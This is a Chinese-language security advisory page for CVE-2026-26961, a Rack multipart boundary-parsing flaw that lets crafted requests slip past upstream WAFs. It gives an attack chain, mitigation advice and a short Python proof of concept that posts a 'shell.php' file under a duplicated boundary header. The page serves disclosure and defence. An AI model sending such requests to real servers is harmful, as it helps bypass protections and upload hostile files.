IPBUF安全漏洞报告
English
CVE-2026-26961 CVSS 3.7 低危

CVE-2026-26961 Rack multipart边界解析漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-26961
漏洞类型
HTTP请求走私
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Rack

相关标签

HTTP请求走私RackRubyWAF绕过CVE-2026-26961

漏洞概述

Rack是Ruby模块化Web服务器接口。在2.2.23、3.1.21和3.2.6版本之前,Rack::Multipart::Parser使用贪婪正则表达式提取Content-Type中的boundary参数。当头部存在多个boundary时,Rack解析最后一个,而上游代理或WAF通常解析第一个。这种解析差异允许攻击者构造恶意请求,绕过上游安全检查,使Rack解析出与中间设备验证不同的请求体结构,可能导致安全绕过。

技术细节

该漏洞源于Rack处理multipart/form-data请求时的逻辑缺陷。Rack使用贪婪正则匹配Content-Type头,导致当header中包含重复的boundary参数(如boundary=A; boundary=B)时,代码取最后一个值(B),而标准Web服务器、WAF或代理通常取第一个值(A)或遵循不同的优先级逻辑。攻击者利用此不一致性,精心构造请求体。请求中的第一个boundary对应的结构用于欺骗WAF,使其认为请求合法;而第二个boundary对应的结构包含实际攻击载荷。由于WAF只检查了基于第一个boundary的部分,恶意载荷被成功走私至后端Rack应用。这种攻击常用于绕过文件上传类型限制、参数校验或WAF防护规则。

攻击链分析

STEP 1
1. 信息收集
识别目标应用是否使用Rack,并确认其版本低于受影响版本(< 2.2.23, < 3.1.21, < 3.2.6)。
STEP 2
2. 构造恶意请求
攻击者构造包含多个boundary参数的Content-Type头,并编写对应的multipart body,使得第一个boundary欺骗WAF,第二个boundary承载攻击载荷。
STEP 3
3. 发送攻击请求
向服务器发送构造好的HTTP请求。上游安全设备基于第一个boundary验证请求并放行。
STEP 4
4. 漏洞利用
后端Rack服务器基于最后一个boundary解析请求,处理了被WAF忽略的恶意数据,导致文件上传绕过或参数注入。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://vulnerable-app/upload" # The Content-Type header contains two boundaries. # The WAF/Proxy might parse 'boundary=----WebKitFormBoundaryA' # The vulnerable Rack parses 'boundary=----WebKitFormBoundaryB' headers = { "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryA; boundary=----WebKitFormBoundaryB" } # Construct body based on the LAST boundary (what Rack sees) # This payload might be blocked if WAF saw it, but WAF is looking at Boundary A logic. payload = ( "------WebKitFormBoundaryB\r\n" "Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n" "Content-Type: application/x-httpd-php\r\n" "\r\n" "<?php phpinfo(); ?>\r\n" "------WebKitFormBoundaryB--\r\n" ) response = requests.post(url, headers=headers, data=payload) print(f"Status: {response.status_code}") print("Response:") print(response.text)

影响范围

Rack < 2.2.23
Rack < 3.1.21
Rack < 3.2.6

防御指南

临时缓解措施
建议立即升级Rack库至修复版本。如果无法立即升级,应在上游代理(如Nginx、HAProxy或云WAF)中配置严格的请求头清洗规则,检测并阻断包含重复boundary定义的multipart请求,或者强制重写Content-Type头以消除歧义。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表